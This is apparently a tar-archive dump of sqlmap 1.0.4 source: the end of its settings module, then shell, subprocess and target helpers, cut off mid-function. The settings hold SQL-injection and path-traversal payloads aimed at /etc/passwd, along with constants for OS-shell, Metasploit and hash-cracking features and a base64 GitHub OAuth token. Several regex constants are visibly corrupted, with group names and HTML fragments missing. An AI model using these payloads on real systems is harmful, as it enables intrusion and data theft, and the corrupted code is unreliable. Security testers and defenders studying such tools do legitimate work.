"RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\ "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES SUPPORTED_OS = ("linux", "windows") DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) HSQLDB_DEFAULT_SCHEMA = "PUBLIC" # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") # Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( "url", "googleDork", "data", "cookie", "randomAgent", "proxy", "testParameter", "dbms", "level", "risk", "tech", "getAll", "getBanner", "getCurrentUser", "getCurrentDb", "getPasswordHashes", "getTables", "getColumns", "getSchema", "dumpTable", "dumpAll", "db", "tbl", "col", "osShell", "osPwn", "batch", "checkTor", "flushSession", "tor", "sqlmapShell", "wizard", ) # String representation for NULL value NULL = "NULL" # String representation for blank ('') value BLANK = "" # String representation for current database CURRENT_DB = "CD" # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( r"[^<]*(fatal|error|warning|exception)[^<]*:?\s*(?P.+?)", r"(?m)^(fatal|error|warning|exception):?\s*(?P.+?)$", r"
  • Error Type:
    (?P.+?)
    • ", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", ) # Regular expression used for parsing charset info from meta html headers META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' # Regular expression used for parsing refresh info from meta html headers META_REFRESH_REGEX = r'(?si)(?!.*?]+content="?[^">]+url=["\']?(?P[^\'">]+).*' # Regular expression used for parsing empty fields in tested form data EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P[^=]+=(&|\Z))' # Reference: http://www.cs.ru.nl/bachelorscripties/2010/Martin_Devillers___0437999___Analyzing_password_strength.pdf COMMON_PASSWORD_SUFFIXES = ("1", "123", "2", "12", "3", "13", "7", "11", "5", "22", "23", "01", "4", "07", "21", "14", "10", "06", "08", "8", "15", "69", "16", "6", "18") # Reference: http://www.the-interweb.com/serendipity/index.php?/archives/94-A-brief-analysis-of-40,000-leaked-MySpace-passwords.html COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ", ", "@") # Splitter used between requests in WebScarab log files WEBSCARAB_SPLITTER = "### Conversation" # Splitter used between requests in BURP log files BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}" # Regex used for parsing XML Burp saved history items BURP_XML_HISTORY_REGEX = r'(\d+).+?[^\s=]*%s[^\s]*)\s" # Maximum number of threads (avoiding connection issues and/or DoS) MAX_NUMBER_OF_THREADS = 10 # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 # Minimum value for comparison ratio MIN_RATIO = 0.0 # Maximum value for comparison ratio MAX_RATIO = 1.0 # Character used for marking injectable position inside provided data CUSTOM_INJECTION_MARK_CHAR = '*' # Other way to declare injection position INJECT_HERE_MARK = '%INJECT HERE%' # Minimum chunk length used for retrieving data over error based payloads MIN_ERROR_CHUNK_LENGTH = 8 # Maximum chunk length used for retrieving data over error based payloads MAX_ERROR_CHUNK_LENGTH = 1024 # Do not escape the injected statement if it contains any of the following SQL keywords EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) # Mark used for replacement of reflected values REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__" # Regular expression used for replacing border non-alphanum characters REFLECTED_BORDER_REGEX = r"[^A-Za-z]+" # Regular expression used for replacing non-alphanum characters REFLECTED_REPLACEMENT_REGEX = r".+" # Maximum number of alpha-numerical parts in reflected regex (for speed purposes) REFLECTED_MAX_REGEX_PARTS = 10 # Chars which can be used as a failsafe values in case of too long URL encoding value URLENCODE_FAILSAFE_CHARS = "()|," # Maximum length of URL encoded value after which failsafe procedure takes away URLENCODE_CHAR_LIMIT = 2000 # Default schema for Microsoft SQL Server DBMS DEFAULT_MSSQL_SCHEMA = "dbo" # Display hash attack info every mod number of items HASH_MOD_ITEM_DISPLAY = 11 # Maximum integer value MAX_INT = sys.maxint # Options that need to be restored in multiple targets run mode RESTORE_MERGED_OPTIONS = ("col", "db", "dnsName", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user") # Parameters to be ignored in detection phase (upper case) IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN") # Regular expression used for recognition of ASP.NET control parameters ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$" # Prefix for Google analytics cookie names GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" # Prefix for configuration overriding environment variables SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_" # Turn off resume console info to avoid potential slowdowns TURN_OFF_RESUME_INFO_LIMIT = 20 # Strftime format for results file used in multiple target mode RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv" # Official web page with the list of Python supported codecs CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encodings" # Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition) SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\(" # Option/switch values to ignore during configuration save IGNORE_SAVE_OPTIONS = ("saveConfig",) # IP address of the localhost LOCALHOST = "127.0.0.1" # Default port used by Tor DEFAULT_TOR_SOCKS_PORT = 9050 # Default ports used in Tor proxy bundles DEFAULT_TOR_HTTP_PORTS = (8123, 8118) # Percentage below which comparison engine could have problems LOW_TEXT_PERCENT = 20 # These MySQL keywords can't go (alone) into versioned comment form (/*!...*/) # Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM") LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program" # After this number of misses reflective removal mechanism is turned off (for speed up reasons) REFLECTIVE_MISS_THRESHOLD = 20 # Regular expression used for extracting HTML title HTML_TITLE_REGEX = "(?P<result>[^<]+)" # Table used for Base64 conversion in WordPress hash cracking routine ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" PICKLE_REDUCE_WHITELIST = (types.BooleanType, types.DictType, types.FloatType, types.IntType, types.ListType, types.LongType, types.NoneType, types.StringType, types.TupleType, types.UnicodeType, types.XRangeType, type(AttribDict()), type(set())) # Chars used to quickly distinguish if the user provided tainted parameter values DUMMY_SQL_INJECTION_CHARS = ";()'" # Simple check against dummy users DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY)\b" # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = ("gif", "jpg", "jpeg", "image", "jar", "tif", "bmp", "war", "ear", "mpg", "mpeg", "wmv", "mpeg", "scm", "iso", "dmp", "dll", "cab", "so", "avi", "mkv", "bin", "iso", "tar", "png", "pdf", "ps", "wav", "mp3", "mp4", "au", "aiff", "aac", "zip", "rar", "7z", "gz", "flv", "mov", "doc", "docx", "xls", "dot", "dotx", "xlt", "xlsx", "ppt", "pps", "pptx") # Patterns often seen in HTTP headers containing custom injection marking character PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" # Template used for common table existence check BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" # Template used for common column existence check BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" # Payload used for checking of existence of IDS/WAF (dummier the better) IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd" # Data inside shellcodeexec to be filled with random string SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" # Vectors used for provoking specific WAF/IDS/IPS behavior(s) WAF_ATTACK_VECTORS = ( "", # NIL "search=", "file=../../../../etc/passwd", "q=foobar", "id=1 %s" % IDS_WAF_CHECK_PAYLOAD ) # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) BIGARRAY_CHUNK_SIZE = 1024 * 1024 # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 # Only console display last n table rows TRIM_STDOUT_DUMP_SIZE = 256 # Reference: http://stackoverflow.com/a/3168436 # Reference: https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 # Maximum number of times for revalidation of a character in time-based injections MAX_TIME_REVALIDATION_STEPS = 5 # Characters that can be used to split parameter values in provided command line (e.g. in --tamper) PARAMETER_SPLITTING_REGEX = r'[,|;]' # Regular expression describing possible union char value (e.g. used in --union-char) UNION_CHAR_REGEX = r'\A\w+\Z' # Attribute used for storing original parameter value in special cases (e.g. POST) UNENCODED_ORIGINAL_VALUE = 'original' # Common column names containing usernames (used for hash cracking in some cases) COMMON_USER_COLUMNS = ('user', 'username', 'user_name', 'benutzername', 'benutzer', 'utilisateur', 'usager', 'consommateur', 'utente', 'utilizzatore', 'usufrutuario', 'korisnik', 'usuario', 'consumidor') # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' # Default delimiter in cookie values DEFAULT_COOKIE_DELIMITER = ';' # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions GITHUB_REPORT_OAUTH_TOKEN = "YzNkYTgyMTdjYzdjNjZjMjFjMWE5ODI5OGQyNzk2ODM1M2M0MzUyOA==" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) HASHDB_MILESTONE_VALUE = "JHjrBugdDA" # "".join(random.sample(string.ascii_letters, 10)) # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 # On huge tables there is a considerable slowdown if every row retrieval requires ORDER BY (most noticable in table dumping using ERROR injections) SLOW_ORDER_COUNT_THRESHOLD = 10000 # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 10000 # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 # Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections) MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 # Maximum (multi-threaded) length of entry in bisection algorithm MAX_BISECTION_LENGTH = 50 * 1024 * 1024 # Mark used for trimming unnecessary content in large chunks LARGE_CHUNK_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation GENERIC_SQL_COMMENT = "-- -" # Threshold value for turning back on time auto-adjustment mechanism VALID_TIME_CHARS_RUN_THRESHOLD = 100 # Check for empty columns only if table is sufficiently large CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CloudFlare") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") # Maximum length of a help part containing switch/option name(s) MAX_HELP_OPTION_LENGTH = 18 # Maximum number of connection retries (to prevent problems with recursion) MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal") # Regular expression used for extracting ASP.NET view state values VIEWSTATE_REGEX = r'(?i)(?P__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' # Regular expression used for extracting ASP.NET event validation values EVENTVALIDATION_REGEX = r'(?i)(?P__EVENTVALIDATION[^"]*)[^>]+value="(?P[^"]+)' # Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems) LIMITED_ROWS_TEST_NUMBER = 15 # Default adapter to use for bottle server RESTAPI_DEFAULT_ADAPTER = "wsgiref" # Default REST-JSON API server listen address RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" # Default REST-JSON API server listen port RESTAPI_DEFAULT_PORT = 8775 # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" # Regular expression used for detecting Array-like POST data ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\]=.+%s\2\[\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" # Raw text POST data content-type PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8" # Length used while checking for existence of Suhosin-patch (like) protection mechanism SUHOSIN_MAX_VALUE_LENGTH = 512 # Minimum size of an (binary) entry before it can be considered for dumping to disk MIN_BINARY_DISK_DUMP_SIZE = 100 # Regular expression used for extracting form tags FORM_SEARCH_REGEX = r"(?si)" # Maximum number of lines to save in history file MAX_HISTORY_LENGTH = 1000 # Minimum field entry length needed for encoded content (hex, base64,...) check MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized METASPLOIT_SESSION_TIMEOUT = 300 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 # Suffix used to mark variables having keyword names EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build") # String used for marking target name inside used brute force web server document root BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" # Character used as a boundary in kb.chars (preferably less frequent letter) KB_CHARS_BOUNDARY_CHAR = 'q' # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """""" sqlmap-1.0.4/lib/core/shell.py000066400000000000000000000100151270044205500161640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import atexit import os from lib.core import readlineng as readline from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS from lib.core.settings import MAX_HISTORY_LENGTH try: import rlcompleter class CompleterNG(rlcompleter.Completer): def global_matches(self, text): """ Compute matches when text is a simple name. Return a list of all names currently defined in self.namespace that match. """ matches = [] n = len(text) for ns in (self.namespace,): for word in ns: if word[:n] == text: matches.append(word) return matches except: readline._readline = None def readlineAvailable(): """ Check if the readline is available. By default it is not in Python default installation on Windows """ return readline._readline is not None def clearHistory(): if not readlineAvailable(): return readline.clear_history() def saveHistory(completion=None): if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.SQL: historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY try: with open(historyPath, "w+"): pass except: pass readline.set_history_length(MAX_HISTORY_LENGTH) try: readline.write_history_file(historyPath) except IOError, msg: warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) logger.warn(warnMsg) def loadHistory(completion=None): if not readlineAvailable(): return clearHistory() if completion == AUTOCOMPLETE_TYPE.SQL: historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY else: historyPath = paths.SQLMAP_SHELL_HISTORY if os.path.exists(historyPath): try: readline.read_history_file(historyPath) except IOError, msg: warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, msg) logger.warn(warnMsg) def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.OS: if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ "copy": None, "del": None, "dir": None, "echo": None, "md": None, "mem": None, "move": None, "net": None, "netstat -na": None, "ver": None, "xcopy": None, "whoami": None, }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ "cp": None, "rm": None, "ls": None, "echo": None, "mkdir": None, "free": None, "mv": None, "ifconfig": None, "netstat -natu": None, "pwd": None, "uname": None, "id": None, }) readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") elif commands: completer = CompleterNG(dict(((_, None) for _ in commands))) readline.set_completer_delims(' ') readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") loadHistory(completion) atexit.register(saveHistory, completion) sqlmap-1.0.4/lib/core/subprocessng.py000066400000000000000000000130151270044205500175750ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import errno import os import subprocess import sys import time from lib.core.settings import IS_WIN if IS_WIN: try: from win32file import ReadFile, WriteFile from win32pipe import PeekNamedPipe except ImportError: pass import msvcrt else: import select import fcntl if (sys.hexversion >> 16) >= 0x202: FCNTL = fcntl else: import FCNTL def blockingReadFromFD(fd): # Quick twist around original Twisted function # Blocking read from a non-blocking file descriptor output = "" while True: try: output += os.read(fd, 8192) except (OSError, IOError), ioe: if ioe.args[0] in (errno.EAGAIN, errno.EINTR): # Uncomment the following line if the process seems to # take a huge amount of cpu time # time.sleep(0.01) continue else: raise break if not output: raise EOFError("fd %s has been closed." % fd) return output def blockingWriteToFD(fd, data): # Another quick twist while True: try: data_length = len(data) wrote_data = os.write(fd, data) except (OSError, IOError), io: if io.errno in (errno.EAGAIN, errno.EINTR): continue else: raise if wrote_data < data_length: blockingWriteToFD(fd, data[wrote_data:]) break # the following code is taken from http://code.activestate.com/recipes/440554-module-to-allow-asynchronous-subprocess-use-on-win/ class Popen(subprocess.Popen): def recv(self, maxsize=None): return self._recv('stdout', maxsize) def recv_err(self, maxsize=None): return self._recv('stderr', maxsize) def send_recv(self, input='', maxsize=None): return self.send(input), self.recv(maxsize), self.recv_err(maxsize) def get_conn_maxsize(self, which, maxsize): if maxsize is None: maxsize = 1024 elif maxsize < 1: maxsize = 1 return getattr(self, which), maxsize def _close(self, which): getattr(self, which).close() setattr(self, which, None) if subprocess.mswindows: def send(self, input): if not self.stdin: return None try: x = msvcrt.get_osfhandle(self.stdin.fileno()) (errCode, written) = WriteFile(x, input) except ValueError: return self._close('stdin') except (subprocess.pywintypes.error, Exception), why: if why[0] in (109, errno.ESHUTDOWN): return self._close('stdin') raise return written def _recv(self, which, maxsize): conn, maxsize = self.get_conn_maxsize(which, maxsize) if conn is None: return None try: x = msvcrt.get_osfhandle(conn.fileno()) (read, nAvail, nMessage) = PeekNamedPipe(x, 0) if maxsize < nAvail: nAvail = maxsize if nAvail > 0: (errCode, read) = ReadFile(x, nAvail, None) except (ValueError, NameError): return self._close(which) except (subprocess.pywintypes.error, Exception), why: if why[0] in (109, errno.ESHUTDOWN): return self._close(which) raise if self.universal_newlines: read = self._translate_newlines(read) return read else: def send(self, input): if not self.stdin: return None if not select.select([], [self.stdin], [], 0)[1]: return 0 try: written = os.write(self.stdin.fileno(), input) except OSError, why: if why[0] == errno.EPIPE: # broken pipe return self._close('stdin') raise return written def _recv(self, which, maxsize): conn, maxsize = self.get_conn_maxsize(which, maxsize) if conn is None: return None flags = fcntl.fcntl(conn, fcntl.F_GETFL) if not conn.closed: fcntl.fcntl(conn, fcntl.F_SETFL, flags | os.O_NONBLOCK) try: if not select.select([conn], [], [], 0)[0]: return '' r = conn.read(maxsize) if not r: return self._close(which) if self.universal_newlines: r = self._translate_newlines(r) return r finally: if not conn.closed: fcntl.fcntl(conn, fcntl.F_SETFL, flags) def recv_some(p, t=.1, e=1, tr=5, stderr=0): if tr < 1: tr = 1 x = time.time() + t y = [] r = '' if stderr: pr = p.recv_err else: pr = p.recv while time.time() < x or r: r = pr() if r is None: break elif r: y.append(r) else: time.sleep(max((x - time.time()) / tr, 0)) return ''.join(y) def send_all(p, data): if not data: return while len(data): sent = p.send(data) if not isinstance(sent, int): break data = buffer(data, sent) sqlmap-1.0.4/lib/core/target.py000066400000000000000000000761241270044205500163600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import codecs import functools import os import re import tempfile import time import urlparse from lib.core.common import Backend from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import intersect from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import paramToDict from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import mergedOptions from lib.core.data import paths from lib.core.datatype import InjectionDict from lib.core.dicts import DBMS_DICT from lib.core.dump import dumper from lib.core.enums import HASHDB_KEYS from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUserQuitException from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB from lib.core.xmldump import dumper as xmldumper from thirdparty.odict.odict import OrderedDict def _setRequestParams(): """ Check and set the parameters and perform checks on 'data' option for HTTP method POST. """ if conf.direct: conf.parameters[None] = "direct connection" return testableParameters = False # Perform checks on GET parameters if conf.parameters.get(PLACE.GET): parameters = conf.parameters[PLACE.GET] paramDict = paramToDict(PLACE.GET, parameters) if paramDict: conf.paramDict[PLACE.GET] = paramDict testableParameters = True # Perform checks on POST parameters if conf.method == HTTPMETHOD.POST and conf.data is None: logger.warn("detected empty POST body") conf.data = "" if conf.data is not None: conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method hintNames = [] def process(match, repl): retVal = match.group(0) if not (conf.testParameter and match.group("name") not in conf.testParameter): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) if _: retVal = 